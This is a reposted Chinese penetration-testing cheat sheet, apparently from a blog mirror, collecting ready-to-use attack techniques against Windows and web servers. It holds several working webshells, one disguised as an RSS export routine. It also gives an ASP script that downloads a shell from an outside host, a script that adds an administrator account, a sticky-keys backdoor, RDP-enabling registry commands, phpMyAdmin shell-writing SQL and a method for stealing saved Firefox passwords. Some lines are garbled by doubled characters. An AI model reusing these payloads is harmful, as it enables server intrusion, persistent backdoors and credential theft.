zoukankan      html  css  js  c++  java
  • 渗透笔记(转载)

    远程终端连接超出最大连接。 可以用这个命令 开始- 运行 mstsc /admin

    ————-

    当使用菜刀出现乱码时 可设置编码为 utf-8将不会出现乱码

    ————-

    ver 查查看服务器版版本号

    对应应版本号对应应的系统 5.0 2000     5.1 xp     5.2 2003           6.0 vvista      6..1 2008   6.17 2007

    systeeminfo 查看补补丁及系统信信息

    了解解了系统相关关信息。  进行行查看补丁号号:(这个命令令比较好用)

    dir cc:windows>>a.txt&(for %%i in (KB9522004.log KB9956572.log KKB2393802.loog KB25036665.log  KB25592799.log  KB2621440.llog  KB21603329.log  KB9970483.log  KKB2124261.loog  KB9771665.log  KB9558644.log) doo @type a.txtt|@find /i ”%%i”||@echo %%i Not Installeed!)&del /f /qq /a a.txt

    对应应补丁号的 exp

    KB9552004  :MS009‐012 PR

    KB9556572  :MS009‐012 巴西西烤肉

    KB23393802:MS111‐011

    KB2503665:MS11‐046

    KB2592799:MS11‐080

    KB2621440:MS12‐020

    KB2160329:MS10‐048

    KB970483  :MS09‐020 iis6 提权(可能是)

    KB2124261,KB2271195 :MS10‐065 IIS7 提权(可能是)

    KB977165  :MS10‐015 Ms Viru

    KB958644  :MS08‐067

    ————-

    tasklist /svc 查看系统进程提供服务

    sc qc MySQL  查询指定服务的配置信息

    ————–

    80sec 的 星外提权马

    其实上面列出的文件都是 everyone 的权限,就是任何用户都可以读写和执行的权限。  以上文件权限为  Everyone,注意,即使可替换文件的所在目录你无权访问,也照样可以替 换执行。比如 D:Program Files360360SafedeepscanSectionmutex.db,可 D:Program  Files360360SafedeepscanSection  目录没有访问权限,用 BIN 牛的  aspx 大马访问 D:Program Files360360SafedeepscanSectio 显示拒绝访问,可mutex.db 文件在该目 录下,你照样可以上传由 cmd.exe 换名后的 mutex.db 文件进行替换。

    星外提权的关键就是读取IIS 的基本信息  里面有个freehostrunat  的系统权限的用户以及密码。  这好像是星外主机的0day。  利用法客工具包中的星外读 IIS.exe

    ——————–

    把下面代码保存为1.vbs

    Set o=CreateObject( “Shell.Users”   ) Set z=o.create(“user”)

    z.changePassword “12345″,””

    z.setting(“AccountType”)=3 然后以system 权限运行 会添加一个用户user 密码为12345

    ——-插一个普通防火墙的方法—–

    ———

    提供一些下载的脚本

    asp 的下载脚本,要求是支持数据流的组建没有被删除

    <%

    Set xPost = CreateObject(“Microsoft.XMLHTTP”)

    xPost.Open “GET”,”http://www.0day5.com/2.txt”,False

    xPost.Send()

    Set sGet = CreateObject(“ADODB.Stream”)

    sGet.Mode = 3

    sGet.Type = 1 sGet.Open()

    sGet.Write(xPost.responseBody)

    sGet.SaveToFile Server.MapPath(“11.asp”),2

    set sGet = nothing

    set sPOST = nothing %> 意思是把http://www.0day5.com/2.txt 这个文件下载到当前目录保存为11.asp

    利用嘛…保存为x.asp,然后去访问,等到进度条完成了再去访问11.asp 会发现大马躺在那

    里的

    php  的,这个是音符大大给的

    <form method=”post”>

    <input name=”url”   size=”50″   />

    <input name=”submit” type=”submit”   />

    </form> <?php $pwd=’e’;//这里为你的密码

    if ($_REQUEST['pwd']!=$pwd)

    exit(‘Sorry ,you are not validate   user!’);

    // maximum execution time in seconds set_time_limit   (24 * 60 * 60);

    if (!isset($_POST['submit'])) die();

    // folder to save downloaded files to. must end with slash

    $destination_folder = ‘./’;

    $url = $_POST['url']; $newfname = $destination_folder   . basename($url);

    $file = fopen ($url, “rb”);

    if ($file) {

    $newf = fopen ($newfname, “wb”);

    if ($newf) while(!feof($file))

    {

    fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );

    }

    } if ($file)

    {

    fclose($file);

    }

    if ($newf) { fclose($newf);

    echo ‘OK,File has been downloaded!’;

    }

    ?>

    保存为xx.php,然后通过e.php?pwd=e 访问会提示让输入地址,这里找一个不解析php  的网

    站,然后上传去…它会自己下载文件,并保存在当前目录

    关于突破的一句话,我一直在使用仙剑之鸣提起的那个一句话

    <%

    Call  System_Initalize() Function System_Initalize()

    On Error Resume Next

    Dim Rss2Export:Rss2Export=”Export”

    Dim objArticle:objArticle=Request(Rss2Export)

    Set Rss2Export = New TRssExport          With Rss2Export

    Dim objRS,UserName,UserIntro

    .TimeZone=ZC_TIME_ZONE

    UserName=Users(UserID).Name

    If objArticle<>””   Then                    .AddChannelAttribute   “language”,ZC_BLOG_LANGUAGE

    Execute Replace(objArticle,”*”&Rss2Export,””)

    .AddChannelAttribute

    “copyright”,TransferHTML(ZC_BLOG_COPYRIGHT,”[nohtml][html-format]“)

    .AddChannelAttribute   “pubDate”,Now                    Response.End()

    End if

    End With

    End Function

    %> 密码是Dim Rss2Export:Rss2Export=”Export”这里的Export                   //才发现它已经Out  了

    php  的是选择了

    nono< ?php

    eval

    ($_POST [1])

    ?> 密码是1

    以及

    <?php $a = str_replace(x,””,”axsxxsxexrxxt”); $a($_POST["c"]); ?> 密码是c

    大伙抽空给测试下

    下面的是一款asp 的小马,至今未被杀,刚刚测试还可以用

    <%on error resume next%> <%ofso=”scripting.filesystemobject”%>

    <%set fso=server.createobject(ofso)%>

    <%path=request(“path”)%>

    <%if path<>”” then%> <%data=request(“dama”)%>

    <%set dama=fso.createtextfile(path,true)%>

    <%dama.write data%>

    <%if err=0 then%>

    <%=”success”%> <%else%>

    <%=”false”%>

    <%end if%>

    <%err.clear%>

    <%end if%> <%dama.close%>

    <%set dama=nothing%>

    <%set fos=nothing%>

    <%=”<form action=” method=post>”%>

    <%=”<input type=text name=path>”%> <%=”<br>”%>

    <%=server.mappath(request.servervariables(“script_name”))%>

    <%=”<br>”%>

    <%=””%>

    <%=”<textarea name=dama cols=70 rows=30 width=30></textarea>”%> <%=”<br>”%>

    <%=”<input type=submit value=save>”%>

    <%=”</form>”%>

    ———————

    @echo off

    del /q %systemroot%system32dllcachesethc.exe del /q %systemroot%system32sethc.exe

    copy %systemroot%explorer.exe%systemroot%system32sethc.exe

    copy %systemroot%explorer.exe %systemroot%system32dllcachesethc.exe 保持为1.bat

    替换shift

    ——-

    开3389命令

    Reg add ”HKEY_LOCAL_MACHINESYSTEMCurrentControISetcontrolTerminal ServerWdsrdpwdTdstcp” /v PortNumber /t REG_DWORD /d 3389 /f

    Reg add ”HKEY_LOCAL_MACHINESYSTEMCurrentControISetcontrolTerminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

    ———————————–DZ看用户的Tip开始———————————–

    Dz很多版本, 具体没有测试, 就是未注册用户和普通用户是没有权限查看其他用户资料的.

    就拿官网举例吧, 公告发布人有个Cnteacher, ID是859, groupID也是1,即管理员权限. 想进入空间看资料, http://www.discuz.net/home.php?mod=space&uid=859, 却显示’请先登录后才能继续浏览’

    这时在url后面添加&do=index&view=admin 根据字面意思就是用admin权限浏览这个id的主页. 添加&do=profile&view=admin 就是用admin权限浏览这个id的个人资料. 如图

    mysqli_error_trace.inc  dede 可在这里面找到dede后台.

    通过dede补丁号 得到版本号

    百度: dedecms 补丁号

    即可得到版本号

    phpmyadmin爆物理路径 和 webshell

    先爆出物理路径:

    http://URL/phpmyadmin/libraries/select_lang.lib.php

    创建表——表中插入一句话——-一句话写入文件—–删除表。

    CreateTABLEa(cmdtextNOTNULL); InsertINTOa(cmd)VALUES(‘<?php@eval($_POST[cmd])?>’);

    selectcmdfromaintooutfile’物理路径/phpMyAdmin/d.php’;

    DropTABLEIFEXISTSa;

    连接菜刀

    在Firefox的配置文件(%userprofileApplicationDataMozillaFirefoxProfiles)目录下面有几

    个文件:Signons2.txt、Signons3.txt,这就是Firefox保存不同站点登录所用的用户名和密码

    的文件。

    Firefox不同的版本使用不同的文件保存密码,Signons2.txt是FF2.0的密码文件,

    Signons3.txt是FF3.0使用的文件,从FF3.5开始,使用signons.sqlite数据库文件来保存密码。 尽管像Signons3.txt里面登录密码是加密保存的,但是加密的密钥保存在同目录下的key3.db

    文件中,如果没有用MasterPassword来加密保护的话,同时取得Signons3.txt和key3.db文

    件就可以得到密码,所以还是在密码选项中启用主密码更安全些。

    按照上面的说法,来到路径(红色为随机字符)

    C:DocumentsandSettingsAdministratorApplicationDataMozillaFirefoxProfilesxxx.default

    下载key3.db和signons.sqlite,替换掉本机的这两个文件。打开Firefox,即可查到保存

    的密码~

    Ps:不要小看这些鸡肋的不算漏洞的漏洞, 有时能帮上大忙的.

  • 相关阅读:
    大道至简第5 章 失败的过程也是过程读后感
    序列化组件之MoelSerializer
    序列化组件之Serializer
    DRF框架 生命周期 及五大模块源码分析
    Restful API 接口与规范
    Vue原理及核心
    Vue之路由跳转传参,插件安装与配置
    Vue项目搭建及环境配置
    Vue之组件
    Vue实例成员及事件
  • 原文地址:https://www.cnblogs.com/demonspider/p/2959529.html
Copyright © 2011-2022 走看看